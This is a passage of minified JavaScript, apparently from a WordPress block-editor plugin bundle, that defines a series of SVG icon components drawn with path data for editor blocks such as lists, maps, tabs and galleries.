10H4v4h16v-4ZM4 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H4Zm16-4H4v2h16V5ZM4 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H4Zm16 13H4v2h16v-2ZM4 16a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),b=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{d:"M15.999 6.455v12.39h.651c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-2.541c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h.651v-5.88H6.843v5.88h.651c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399H4.953c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h.651V6.455h-.651c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h2.541c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-.651v5.355h7.917V6.455h-.651c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h2.541c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-.651Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M17.5 3a.5.5 0 0 1 .5-.5h4a.5.5 0 0 1 0 1h-4a.5.5 0 0 1-.5-.5Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 5.5a.5.5 0 0 1-.5-.5V1a.5.5 0 0 1 1 0v4a.5.5 0 0 1-.5.5Z",clipRule:"evenodd"})),m=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 5H4v5h16V5ZM4 4a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M5.5 7a.5.5 0 0 0 0 1h13a.5.5 0 0 0 0-1h-13ZM20 14H4v5h16v-5ZM4 13a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M5.618 16a.5.5 0 0 0 0 1h12.764a.5.5 0 0 0 0-1H5.618Z",clipRule:"evenodd"})),p=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 9H4v5h16V9ZM4 8a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M5.618 11a.5.5 0 0 0 0 1h12.764a.5.5 0 0 0 0-1H5.618Z",clipRule:"evenodd"})),g=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-1.346a7.654 7.654 0 1 1 0-15.308 7.654 7.654 0 0 1 0 15.308ZM12 22c5.523 0 10-4.477 10-10S17.523 2 12 2 2 6.477 2 12s4.477 10 10 10Zm0-3.346a6.654 6.654 0 1 1 0-13.308 6.654 6.654 0 0 1 0 13.308Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M6.005 18.713a9 9 0 0 1-2.115-2.81.355.355 0 0 1 .01-.335.615.615 0 0 1 .378-.296c.316-.091.812.079 1.128.615a7.655 7.655 0 1 0 8.1-11.392c-.61-.122-.934-.535-.951-.864a.615.615 0 0 1 .155-.454.355.355 0 0 1 .314-.119 9 9 0 1 1-7.019 15.655Zm-3.016-2.377c-.4-.832.123-1.768 1.011-2.025.888-.256 1.798.272 2.267 1.068a6.655 6.655 0 1 0 7.042-9.903c-.905-.182-1.703-.869-1.753-1.791-.049-.923.664-1.725 1.581-1.62A10 10 0 1 1 2.99 16.337Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M4.182 14.868c-.867.318-1.324 1.289-.866 2.091A10 10 0 1 0 13.921 2.186c-.906-.177-1.68.566-1.704 1.49-.024.923.717 1.671 1.606 1.924a6.654 6.654 0 1 1-7.304 10.174c-.524-.761-1.47-1.224-2.337-.906Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M6.36 19.013a9 9 0 0 1-2.175-2.55.355.355 0 0 1-.015-.335.615.615 0 0 1 .357-.321c.308-.114.816.021 1.168.534a7.653 7.653 0 1 0 8.402-11.703c-.599-.17-.889-.607-.88-.936a.615.615 0 0 1 .19-.441.355.355 0 0 1 .322-.093 9 9 0 1 1-7.37 15.845ZM3.315 16.96c-.458-.802-.001-1.773.866-2.091.868-.318 1.813.145 2.337.906A6.655 6.655 0 1 0 13.823 5.6c-.889-.253-1.63-1-1.606-1.924.024-.924.798-1.667 1.704-1.49A10 10 0 1 1 3.316 16.96Z",clipRule:"evenodd"})),h=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M9 9H3v6h6V9ZM3 8a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1H3Zm18 1h-6v6h6V9Zm-6-1a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-6Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M11 10a1 1 0 1 1 2 0 1 1 0 1 1-2 0Zm0 4a1 1 0 1 1 2 0 1 1 0 1 1-2 0Z"})),k=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M11.5 7V4h1v3A2.5 2.5 0 0 0 15 9.5h4v1h-4A3.5 3.5 0 0 1 11.5 7Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M11 4H5v16h14v-8a8 8 0 0 0-8-8ZM5 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-8a9 9 0 0 0-9-9H5Z",clipRule:"evenodd"})),y=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 4H4v16h16V4ZM4 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M11.776 7.454a.25.25 0 0 1 .448 0l1.187 2.406a.25.25 0 0 0 .189.136l2.654.386a.25.25 0 0 1 .139.427l-1.921 1.872a.25.25 0 0 0-.072.221l.453 2.644a.25.25 0 0 1-.362.263l-2.375-1.248a.25.25 0 0 0-.232 0L9.509 15.81a.25.25 0 0 1-.362-.263l.453-2.644a.25.25 0 0 0-.072-.221l-1.92-1.872a.25.25 0 0 1 .138-.427l2.654-.386a.25.25 0 0 0 .189-.136l1.187-2.406Z"})),f=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M19 3H5v18h14V3ZM5 2a1 1 0 0 0-1 1v18a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H5Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M17 5H7v2h10V5ZM7 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H7Zm10 7H7v1h10v-1ZM7 10a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-1a1 1 0 0 0-1-1H7Zm10 5H7v4h10v-4ZM7 14a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H7Z",clipRule:"evenodd"})),v=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M19 10H5v4h14v-4ZM5 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H5Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M6 12.5a.5.5 0 0 1 .5-.5h8a.5.5 0 0 1 0 1h-8a.5.5 0 0 1-.5-.5Z"})),_=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M16.453 13.552C17.429 11.962 18 10.499 18 9.125 18 5.725 15.297 3 12 3S6 5.726 6 9.125c0 1.374.57 2.837 1.547 4.427.975 1.586 2.285 3.19 3.648 4.859l.004.004.801.983c.267-.33.535-.657.801-.983l.004-.004c1.363-1.669 2.673-3.273 3.648-4.86Zm-3.813 6.645c.31-.384.624-.769.939-1.153C16.286 15.732 19 12.412 19 9.125 19 5.19 15.866 2 12 2S5 5.19 5 9.125c0 3.287 2.714 6.607 5.421 9.919.315.384.629.769.939 1.153.216.268.43.535.64.803.21-.268.424-.535.64-.803ZM15.5 9a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0Zm-1 0a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0Z",clipRule:"evenodd"})),C=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 6H9v2h11V6ZM9 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H9Zm11 6H9v2h11v-2ZM9 10a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9Zm11 6H9v2h11v-2ZM9 15a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9ZM6 6H4v2h2V6ZM4 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H4Zm2 6H4v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Zm2 6H4v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),w=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 6H9v2h11V6ZM9 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H9Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M8 11a1 1 0 0 1 1-1h11a1 1 0 0 1 1 1v2a1 1 0 0 1-1 1H9a1 1 0 0 1-1-1v-2Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 11H9v2h11v-2ZM9 10a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9Zm11 6H9v2h11v-2ZM9 15a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9ZM6 6H4v2h2V6ZM4 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M3 11a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1v2a1 1 0 0 1-1 1H4a1 1 0 0 1-1-1v-2Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M6 11H4v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Zm2 6H4v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),E=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M8.872 8.64a.5.5 0 0 0-.41 0l-5.667 2.55a.5.5 0 0 0-.295.457v8.806a.5.5 0 0 0 .705.456l4.846-2.18a1.5 1.5 0 0 1 1.231 0l5.846 2.63a.5.5 0 0 0 .41 0l5.667-2.55a.5.5 0 0 0 .295-.456V9.547a.5.5 0 0 0-.705-.456l-4.846 2.18a1.5 1.5 0 0 1-1.231 0l-5.846-2.63Zm-.82-.911a1.5 1.5 0 0 1 1.23 0l5.846 2.63a.5.5 0 0 0 .41 0l4.846-2.18A1.5 1.5 0 0 1 22.5 9.547v8.806a1.5 1.5 0 0 1-.884 1.368l-5.667 2.55a1.5 1.5 0 0 1-1.231 0l-5.846-2.63a.5.5 0 0 0-.41 0l-4.846 2.18A1.5 1.5 0 0 1 1.5 20.453v-8.806a1.5 1.5 0 0 1 .884-1.368l5.667-2.55Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M16.515 13.662C18.255 11.396 20 9.123 20 6.875 20 4.183 17.985 2 15.5 2S11 4.183 11 6.875c0 2.25 1.745 4.52 3.485 6.787.343.446.686.892 1.015 1.338.33-.446.672-.892 1.015-1.338ZM15.5 8.5a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm-2.4 6.2a.5.5 0 0 1 .7-.1l4 3a.5.5 0 0 1-.6.8l-4-3a.5.5 0 0 1-.1-.7Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M17.9 14.7a.5.5 0 0 0-.7-.1l-4 3a.5.5 0 0 0 .6.8l4-3a.5.5 0 0 0 .1-.7Z",clipRule:"evenodd"})),x=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M16.917 5.26c.302-.046.747-.01.58-.01a.75.75 0 0 1 .007 1.5.879.879 0 0 1-.2-.014c-.034-.006-.05-.01-.16.007-.128.02-.367.086-.71.33-.707.502-1.83 1.74-3.235 4.74-1.464 3.126-2.915 4.744-4.07 5.578-.579.418-1.078.636-1.456.747a2.858 2.858 0 0 1-.464.099 1.897 1.897 0 0 1-.2.013h-.033s-.002 0 .024-.75l-.026.75a.75.75 0 0 1 .029-1.5H7m.003 0a1.372 1.372 0 0 0 .246-.05c.21-.063.556-.203 1.001-.524.891-.644 2.2-2.03 3.591-5 1.45-3.095 2.709-4.605 3.723-5.326.517-.367.974-.531 1.353-.59",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 4H4v16h16V4ZM4 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),S=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M3 9.5a.5.5 0 0 0-.5.5v11a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-3.5a.5.5 0 0 1 1 0V21a1.5 1.5 0 0 1-1.5 1.5H3A1.5 1.5 0 0 1 1.5 21V10A1.5 1.5 0 0 1 3 8.5h1.531a.5.5 0 1 1 0 1H3Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M21 3H8v11h13V3ZM8 2a1 1 0 0 0-1 1v11a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H8Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M14.45 4.55h4.5a.5.5 0 0 1 .5.5v4.5a.5.5 0 1 1-1 0V6.257l-4.096 4.097a.5.5 0 0 1-.707-.708l4.096-4.096H14.45a.5.5 0 0 1 0-1Z",clipRule:"evenodd"})),T=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M7 5H5v2h2V5ZM5 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H5Zm2 7H5v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H5Zm2 7H5v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H5Zm8-11h-2v2h2V5Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm8-11h-2v2h2V5Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Zm2 7h-2v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-2Z",clipRule:"evenodd"})),B=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M21 10H3v4h18v-4ZM3 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H3Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M13 10H3v4h10a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1ZM3 9a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h10a2 2 0 0 0 2-2v-2a2 2 0 0 0-2-2H3Z",clipRule:"evenodd"})),M=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M1.717 8.588a.5.5 0 0 1 .695.13l2.264 3.297a.5.5 0 1 1-.825.566L1.588 9.283a.5.5 0 0 1 .13-.695Zm20.566 0a.5.5 0 0 1 .13.695l-2.264 3.298a.5.5 0 1 1-.825-.566l2.264-3.298a.5.5 0 0 1 .695-.13Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M19 13H5v7h14v-7ZM5 12a1 1 0 0 0-1 1v7a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-7a1 1 0 0 0-1-1H5Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M11.776 3.454a.25.25 0 0 1 .448 0l1.04 2.108a.25.25 0 0 0 .189.137l2.326.338a.25.25 0 0 1 .138.426l-1.683 1.64a.25.25 0 0 0-.072.222l.397 2.316a.25.25 0 0 1-.362.264l-2.08-1.094a.25.25 0 0 0-.233 0l-2.08 1.094a.25.25 0 0 1-.363-.264l.397-2.316a.25.25 0 0 0-.072-.221L8.083 6.463a.25.25 0 0 1 .139-.426l2.325-.338a.25.25 0 0 0 .189-.137l1.04-2.108Z"})),P=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M21 4H3v16h18V4ZM3 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M19 15H5v3h14v-3ZM5 14a1 1 0 0 0-1 1v3a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-3a1 1 0 0 0-1-1H5Zm5-8H5v6h5V6ZM5 5a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H5Zm14 1h-5v1h5V6Zm-5-1a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-5Zm5 5h-5v2h5v-2Zm-5-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1h-5Z",clipRule:"evenodd"})),z=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M21 4H3v16h18V4ZM3 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M4 6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1v12a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V6Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M7 6H5v12h2V6ZM5 5a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H5Zm8 1h-2v12h2V6Zm-2-1a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-2Zm8 1h-2v12h2V6Zm-2-1a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-2Z",clipRule:"evenodd"})),F=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"m14.69 6.154-6.715 4.268a.5.5 0 0 1-.537-.844l6.716-4.268.536.844Zm-7.122 7.094a.5.5 0 0 1 .684-.18l6.432 3.752-.504.864-6.432-3.752a.5.5 0 0 1-.18-.684Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M17 7a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6Zm0 12a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6ZM6 14a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"})),R=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M2 5H1a1 1 0 0 0-1 1v13a1 1 0 0 0 1 1h1v-1H1V6h1V5Zm20 14h1V6h-1V5h1a1 1 0 0 1 1 1v13a1 1 0 0 1-1 1h-1v-1Zm-6.5-8a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm0 1a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Zm-8-3.87v8.37h9.207L7.5 8.13Zm-1-.904a.6.6 0 0 1 1.004-.444l10.64 9.674a.6.6 0 0 1-.403 1.044H7.1a.6.6 0 0 1-.6-.6V7.226Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M3 3v18a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H4a1 1 0 0 0-1 1Zm1 0v18h16V3H4Z",clipRule:"evenodd"})),L=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M11.726 4.722c-1.033-.345-2.398-.243-3.628.003a.5.5 0 0 1-.196-.98c1.27-.255 2.851-.403 4.14.028.658.22 1.257.596 1.688 1.199.431.602.663 1.386.663 2.366a.5.5 0 0 1-1 0c0-.821-.193-1.388-.476-1.784-.283-.396-.688-.664-1.191-.832Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M15.726 4.722c-1.033-.345-2.398-.243-3.628.003a.5.5 0 0 1-.196-.98c1.27-.255 2.851-.403 4.14.028.658.22 1.257.596 1.688 1.199.431.602.663 1.386.663 2.366a.5.5 0 0 1-1 0c0-.821-.192-1.388-.476-1.784-.283-.396-.688-.664-1.192-.832Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"m8.449 7.878-.091-.9-.035-.365c-.073-.795-.126-1.366-.5-1.83C7.468 4.338 6.57 3.763 4 3.887v16.01h16V7.877H8.449ZM3 3.866v16.03a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V7.878a1 1 0 0 0-1-1H9.353l-.03-.33C9.182 4.893 8.99 2.632 3.91 2.891a.968.968 0 0 0-.91.975Z",clipRule:"evenodd"})),O=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"m8.449 8.002-.091-.9-.035-.365c-.073-.793-.126-1.362-.499-1.826C7.467 4.468 6.57 3.893 4 4.017V20h16V8.002H8.449ZM3 3.996V20a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V8.002a1 1 0 0 0-1-1H9.353l-.03-.33C9.182 5.02 8.99 2.762 3.91 3.02a.968.968 0 0 0-.91.976Z",clipRule:"evenodd"})),I=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z",clipRule:"evenodd"})),H=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)("path",{d:"M11 18.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Zm6 0a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z"}),(0,o.createElement)("path",{fillRule:"evenodd",d:"M2.5 4a.5.5 0 0 1 .5-.5h.78a1.5 1.5 0 0 1 1.422 1.026L6.36 8h12.286a1.5 1.5 0 0 1 1.434 1.941l-1.385 4.5a1.5 1.5 0 0 1-1.434 1.059H8.74a1.5 1.5 0 0 1-1.434-1.059L5.524 8.653l-1.27-3.811a.5.5 0 0 0-.475-.342H3a.5.5 0 0 1-.5-.5Zm4.177 5 1.584 5.147a.5.5 0 0 0 .478.353h8.522a.5.5 0 0 0 .478-.353l1.385-4.5A.5.5 0 0 0 18.646 9H6.677Z",clipRule:"evenodd"})),N=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 